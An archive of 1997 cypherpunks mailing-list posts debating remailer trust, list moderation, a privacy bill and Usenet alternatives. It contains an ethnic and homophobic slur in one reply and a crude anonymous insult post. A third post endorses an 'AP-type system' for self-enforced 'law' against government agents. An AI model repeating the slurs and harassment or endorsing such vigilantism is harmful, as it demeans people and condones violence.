From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 6 Feb 1997 22:06:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <Pine.GSO.3.95.970206215534.234F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I find your "distributed democracy" interesting, except that it would
allow scant time for deliberation.

Think of it this way: don't you think the majority of Americans would have
voted to pass the CDA? Or worse? Or restrictions on domestic crypto? Or
worse? 

Democracy generally means majoritarian rule. The Bill of Rights is an
anti-majoritarian document. It protects the rights of political or
religious minorities. I fear that electronic "click here to vote"
democracy would undermine the Bill of Rights even more.

-Declan

---

Dale Thorn writes:

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Thu, 6 Feb 1997 14:17:40 -0800 (PST)
To: mail2news@anon.lcs.mit.edu
Subject: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <19970206221726.11238.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Because of recent attacks on the remailer network and mail2news
gateways, I may loose access to at least one of the news servers I
currently feed news to from my mail2news gateway.

If you are a news administrator, believe in free speech and anonymity,
and you would like to help the cause, please consider giving transfer
(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
not be the only server, and so do not need to worry about being the
point of entrance of mail2news articles to Usenet.

Please contact me if you can help.  Thank you.

For those who oppose the existence of mail2news gateways, you should
know that we are taking steps to limit the abuse.  However, doing so
without in any way limiting articles that abide by the usage policy is
tricky, and must be done carefully.  Please be patient.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 20:13:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Message-ID: <iJkq2D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 20:12:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: True story, Fly the Obsfucted Skies (fwd)
In-Reply-To: <199702061915.LAA28280@toad.com>
Message-ID: <yXkq2D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <ray@earthweb.com> writes:
...
> I thought about it. I scratched my goatee. I said:
...
How can an Armenian eunich grow a bear? Even a faggy goatee?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 19:52:04 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <199702062301.PAA02248@toad.com>
Message-ID: <Pine.SUN.3.95.970206225051.24667D-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


This would be the same Strassmann who stated in public at Harvard early in
1995 that most remailers were run by intelligence agencies such as the
KGB, then denied saying it when asked for substantiation?   And cut it
from his paper?

On Thu, 6 Feb 1997, Vin McLellan wrote:
> Strassmann, the author of this denunciation of RSADS and
> Ian Goldberg, is the former Director of Defense Information
> (i.e., CIO,) of the Bush DoD and an often-insightful commentator

Having said that, there is some debate about the extent to which in
*intelligence gathering* as opposed to, say, trying to crack a banking
protocol, one can reasonably count on a known plaintext.  And much debate
about the processing costs of not having one, especially when one doesn't
know what kind of document is being encrypted (e.g. is it ASCII plaintext?
a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 6 Feb 1997 23:11:46 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <v03007801af20611fe990@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970206225437.3853C-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> My posting seem to be going into Limbo, being sent neither to
> the Cypherpunks Heaven Sandy administers nor to the flames of
> the Cypherpunks Hell. At least this is how things now appear.

It doesn't look familiar.  I don't have any idea what happened.
Can anyone tell me if they saw it on the unedited list?  That's
where I would have read it.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 6 Feb 1997 23:13:27 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: anonymous remailers
In-Reply-To: <v03007802af20705f7eae@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970206225911.3853F-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> Why was this message (attached below) sent to the "Flames" list? (*) It
> contains an assertion that the remailer operators are colluding to reveal
> identities, and this is surely a fit topic for discussion.
> 
> (* I have temporarily subscribed to the Flames list to see just what it is
> being filtered or censored by Sandy. I received this message, and it had
> the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> is a "Flames" message. It would help, by the way, if messages were more
> clearly labelled by the Moderator as to which bucket he placed them in.)

Currently, there are three lists.  It looks as though the message
in question appeared on the Unedited list.  This is NOT the same
as the Flames list.  
 
I don't recall where I sorted that particular post to after I
read it on the Unedited list.  If it went to the "wrong" list,
my apologies to the author.  As I indicated before, I don't think
a 100% solution is possible, but I think I'm running in the high
90s under the criteria I enunciated.  Not perfection, but a 
definite improvement over the prior condition.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 6 Feb 1997 14:15:06 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: e$ plug, Moderation, Cypherpunks as a bird in the bush
In-Reply-To: <199702061511.HAA24942@toad.com>
Message-ID: <199702062214.XAA15376@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym "Greg Broiles
 <gbroiles@netbox.com>" typed:
> 
> I think that Bob's e$ list should be considered a viable alternative to the
> other two filtered cpunks lists; I recommend it to people looking for a
> moderated alternative to the list.


I like "e$", although I seem to be too busy to contribute
regularly to _any_ forum recently.  (I'm always available for
Real Life Meetings in local bars, though...  Anybody going to
visit Amsterdam soon?)


> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more."


Hey, that's a sufficiently profound "death of cpunks" statement
for me.  I feel the same way-- though I've never been a very
active participant, I really dropped out a few months ago.


I feel like there is more to learn and discuss.  _Much_ more.
It keeps me awake at night sometimes, not knowing exactly what
it is but waiting for it.


But I've had my fill of cypherpunks, and my Objectivist
newsgroup (humanities.philosophy.objectivism), and simplistic
libertarianism.



Keep in touch.  :-)


Bryce

Not speaking for DigiCash.

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMvpXvUjbHy8sKZitAQGJ4gL+LClz+b4VwAQdFra5GowzNDOqKEqnhpib
yri3mEEFKU9x35J9Dqu8XHu/TQOJuB5S8LdAmtesvLuKEGkjpVKPHXrSDik5efyp
rWY9pJbjq/UBqYosCgx2PzHILTsh/UMw
=ZVwu
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 6 Feb 1997 23:16:24 -0800 (PST)
To: dev-lucre@c2.net
Subject: IEEE Communications
Message-ID: <v02140b00af2086d240b3@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


A friend called this evening to let me know the February issue is dedicated
to electronic cash and its implications.  I'm no longer an IEEE member.  If
any of the various list members care to excerpt and comment on some of the
more interesting portions, I'm sure it would be appreciated.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 6 Feb 1997 23:27:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PICS] forgery detection
Message-ID: <199702070727.XAA01052@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


When Deadwood Vulgar K[arcass]OTM's mother gave birth to him
after fucking with a bunch of sailors, she didn't know who the
father was but decided to tell him that he was a Russian as the
Russian sailor was the one who satisfied her the most.

     /\ \  / /\
    //\\ .. //\\ Deadwood Vulgar K[arcass]OTM
    //\((  ))/\\
    /  < `' >  \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 6 Feb 1997 23:42:26 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702070742.XAA07034@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


>--- begin forwarded text
>Date:         Thu, 6 Feb 1997 11:24:09 EST
>Reply-To:     Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>Sender:       Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
>Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)

>
>Sorry for the crossposting, but I felt this one might be important enough
>to do it.  The following is a shortened version of an article I've written
>for my firm's client newsletter about H.R. 98, the "Consumer Internet
>Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
>January 7, 1997.  [snip]
>
>Jonathan I. Ezor
>New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
>Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com
>-----------------------------Cut here-------------------------------
>
>Congress Tackles Internet Privacy
>        Recently, there has been significant press coverage over real and
>rumored revelations of personal information such as Social Security numbers by
>online services, including the alleged availability (later shown to be untrue)
>of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
>and various governmental bodies have held hearings on issues of online privacy.
>On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
>"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
>provides that "an interactive computer service shall not disclose to a third
>party any personally identifiable information provided by a subscriber to such
>service without the subscriber's prior informed written consent." 

Gee, this sounds great!  Sounds like it would become illegal for ISPs to 
"cooperate" (aka:  getting strongarmed) by the local thugs (cops) to reveal 
information about subscribers.   Except, as is so often the case, they seem 
to always figure out ways to explain that cooperation with cops was somehow 
not covered in the law above.

One of the non-obvious dangers of having laws such as this apply to ISPs is 
that they increase the likelihood that legal force could be applied to them 
in order to get them to sell-out their customers.   And, obviously, the 
average citizen isn't going to have a lot of luck getting these laws 
ENFORCED unless he has friends in the prosecutor's office.


One of the numerous advantages of an AP-type system is that a person will be 
able to make a violation of his privacy a crime regardless of whether the 
powers-that-be agree.  Also, he can enforce that "law" on anyone, including 
government agents, without the cooperation of the prosecutor.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 7 Feb 1997 10:39:37 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702032259.OAA05072@toad.com>
Message-ID: <Pine.3.89.9702062343.C128-0100000@marui>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, Adam Back wrote:

> My vote is for renaming:
> 	`cypherpunks-unedited' -> `cypherpunks'
> and	`cypherpunks' -> `cypherpunks-edited'

I have to agree. I'm only a 'cypherpunk' in the sense of setting up
various crypto-related Web sites and writing and giving away thousands of
lines of cryptography code rather than regularly posting to the list, but
my main concern is that the default for the list has gone from anarchy to
moderation. 

If the users of the list truly believe in anarchistic solutions to
problems then the moderated list should exist *in addition* to the
unmoderated list, rather than replacing it. In a truly anarchistic society
the cypherpunks list would be an unmoderated forum full of spam and
opinions related in some way to the list topics and numerous moderators
would charge us for their versions of the list in which they simply pass
on the messages they like. We could then choose a moderator whose
interests are similar to ours and pay them for providing us with
apropriate information. IMHO this is the way that mailing lists and Usenet
are likely to evolve as they become too large for us to read and react to
all posts; we should be in the vanguard of creating appropriate solutions
to the problems. 

Providing a moderated list which saves me from dowloading spam is a
worthwhile exercise which is potentially valuable to me (and I'm grateful
to Sandy for offering such a service for free), but I do not believe that
it should be the default for new subscribers.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 6 Feb 1997 20:47:40 -0800 (PST)
To: zinc@zifi.genetics.utah.edu (zinc)
Subject: Re: lead remailer is shut down
In-Reply-To: <199702070341.TAA07917@toad.com>
Message-ID: <m0vsiE1-0001HhC@wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain


zinc enscribed thusly:

> The following message is a courtesy copy of an article
> that has been posted as well.

> -----BEGIN PGP SIGNED MESSAGE-----

> hi,

> i came in today to find they (university system admins) had pulled the
> plug on my machine.  this is all because some luser spammed usenet
> using the remailer on my machine.  thanks a lot.

	Yeah?  Did you find his ass?  Kindly forward the coordinates
of the body so we can desecrate the corpse!

> so, the lead remailer is gone for good; it lasted almost exactly one
> year. 

> it was nice while it lasted.

	Never used it but it is always sad to see the passing of a network
resource due to the abuse by cretins with all the morals of an alley cat
in heat...

> - -patrick finerty
> biochem grad student, u of utah

> - -- 
> "Those that give up essential liberty to obtain a little temporary
> safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
> 		   finger zinc-pgp@zifi for PGP key
> zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
> 
> iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
> 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
> 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
> clfXhusEPPg=
> =0fse
> -----END PGP SIGNATURE-----

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 6 Feb 1997 10:45:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702050029.QAA08873@toad.com>
Message-ID: <m0vsTo4-000JGWC@cognac.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 
> It has some advantages:
> 
> [...]
> 
> And some disadvantages...
> 
>  1. Cross-posting in USENET is a problem, especially in alt newsgroups
> 
>  2. Commercial spam is a problem with newsgroups
> 

You may want to check out alt.sysadmin.recovery; they use the 
moderation mechanism to produce a group that is unmoderated, 
but spam-resistant.  It would be impolite to describe the technique,
but it should be apparent if you browse a few articles.

Another way to avoid crossposts is to have a robomoderated group,
where a bot automatically rejects articles which are crossposted,
and approves all others.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.
> 
>  6. Some have argued in the past on this topic that the mailing list
>     medium is better because it is more exclusive, as it requires more
>     technical competence, and an active enough interest to subscribe.
>     This is an elitist argument.  Perhaps it is relevant though, if we
>     are trying to maintain a mailing list where technical discussions on
>     how to improve privacy are to take place.  I wouldn't call this
>     attitude censorship though.
> 

7. Usenet traffic, at least in remote regions (looks around), is often 
   assigned less bandwidth/lower priority than mail, so a reader may
   not see all of the messages (AFAICT, I normally see about half or 
   less of what actually gets posted to the groups I read), even if the 
   group is "well propagated".

>[...]

John P.
john@huiac.apana.org.au






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 23:59:56 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: anonymous remailers
In-Reply-To: <v03007802af20705f7eae@[207.167.93.63]>
Message-ID: <v03007806af2091f76356@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM -0800 2/6/97, Sandy Sandfort wrote:

>Currently, there are three lists.  It looks as though the message
>in question appeared on the Unedited list.  This is NOT the same
>as the Flames list.

Well, I only subscribe to the Flames list--there is no doubt about this.

In any case, what is the meaning of a message going only to the "Unedited"
list?  A message that goes to the Unedited list but _not_ to the Flames
list must surely go to the Main list, right?

That is,

MAIN list + FLAMES list = UNEDITED list

Isn't this the way it works, that the Unedited list is the union of the
MAIN and FLAMES lists, which are disjoint?

So, since the Vulis message on anonymous remailers did not appear on the
MAIN list, it must have appeared on the FLAMES list.


>I don't recall where I sorted that particular post to after I
>read it on the Unedited list.  If it went to the "wrong" list,
>my apologies to the author.  As I indicated before, I don't think
>a 100% solution is possible, but I think I'm running in the high
>90s under the criteria I enunciated.  Not perfection, but a
>definite improvement over the prior condition.

You keep saying this ("the list is better, the list is better, the list is
better"). Repeating it enough may make it true, for you.

In any case, my point is that there were no "flame" triggers in either of
the messages you sent to the Flames list. Unless you are rejecting based on
your opinion of the views expressed, these messages belong on the main list.

Sandy, you are a sloppy moderator. An incompetent, in fact. Get better fast
or knock off the pretense that you know better than we do what Cypherpunks
are ready to read.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 00:03:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
In-Reply-To: <199702070710.XAA13629@toad.com>
Message-ID: <v03007807af2093ecd8f4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Again, I am only on the Flames list. So why was this message sent to the
Flames list? Because someone responded to a Vulis post? Is a response to a
Banned Message now grounds for rejection?

Here's the message sent to the Flames pile. Although the anonymous author
did not add much, neither the original message nor his/her one line
response was a "flame" or "insult." Hence it should not have been rejected.


At 5:47 AM +0000 2/7/97, Secret Squirrel wrote:
>Dr.Dimitri Vulis KOTM wrote:
>> c.musselman@internetmci.com (Charley Musselman) writes:
>> > C'punks --
>> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
>> > and suggested that he use an anonymous remailer to post to the group,
>> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> > anyone know the answer?  Specifically, how can we choose a trusted
>> > remailer?
>>
>> Even if the feds are not directtly involved, the so-called "cypher punk"
>> remailers are run by people who should not be trusted.  Check out their
>> remailer-operators list: it's full of announcements that some specific
>> person posted something via the remailer that the operator didn't like.
>
>Examples, please?


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 00:23:06 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <v03007801af20611fe990@[207.167.93.63]>
Message-ID: <v03007808af2096bc821f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote:

>On Thu, 6 Feb 1997, Timothy C. May wrote:
>
>> My posting seem to be going into Limbo, being sent neither to
>> the Cypherpunks Heaven Sandy administers nor to the flames of
>> the Cypherpunks Hell. At least this is how things now appear.
>
>It doesn't look familiar.  I don't have any idea what happened.
>Can anyone tell me if they saw it on the unedited list?  That's
>where I would have read it.

I reproduced the message in my message earlier tonight. Although there are
no headers to show routing, since I sent it but never received it, I can
assure you it was marked by Eudora as "Sent," and my ISP has reported no
delivery problems of any sort. Thus, based on past experiences with
thousands of such sendings, I surmise with great certainty that my message
was mailed successfully to cypherpunks@toad.com. What happened to if after
that I cannot say, but I suspect something related to the "Moderation"
process, by Ockham's Razor.

There seem to be more "lost" messages than before this "Moderation" thing
began. I literally sent thousands of messages (maybe tens of thousands...)
and cannot recall a "lost" message. Now, it's happened to me a couple of
times that I can recall, and to at least some others, based on recent
messages.

I thought the basic equation was:

UNEDITED = MAIN + FLAMES,  with MAIN and FLAMES being disjoint.

It's looking now more like:

UNEDITED = MAIN + FLAMES +  DROPPED/LOST

Possibly the fault lies in the software Sandy is using to sort the
messages, possibly elsewhere. Whatever, this needs to be fixed immediately,
or the experiment abandoned immediately.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 7 Feb 1997 00:07:34 -0800 (PST)
To: tcmay@got.net
Subject: Re: anonymous remailers
In-Reply-To: <Pine.SUN.3.91.970206225911.3853F-100000@crl4.crl.com>
Message-ID: <199702070734.BAA00348@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Fri, 7 Feb 1997 01:48:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
In-Reply-To: <199702052103.NAA13723@west.toad.com>
Message-ID: <Pine.GUL.3.95.970207010629.5960B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


A couple things need underscoring: 

On Wed, 5 Feb 1997, Hugh Daniel wrote:

> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
        ^^^^^
Thomsen needs to leave early, so we will make every effort to "start on
time."

> 	  We have a wonderful space to do demos in this month, Turing
> 	Auditorium has Internet, projections screens, audio amps and
                       ^^^^^^^^
I.e., Ethernet, either 10BaseT or coax, no firewall. Please show up by 11:30
if you want an IP address. Hooked up to the projectors are a PowerMac, a
Windows 95 box, and I might lug my Linux box over, too. One analog phone, in
case anyone wants one. I suppose we could still do live RealAudio and/or
CU-SeeMe iff someone feels they have something to say of such earth-
shattering importance that the whole net must hear. Otherwise, I'd rather
keep the distracting toys out of the way.

-rich
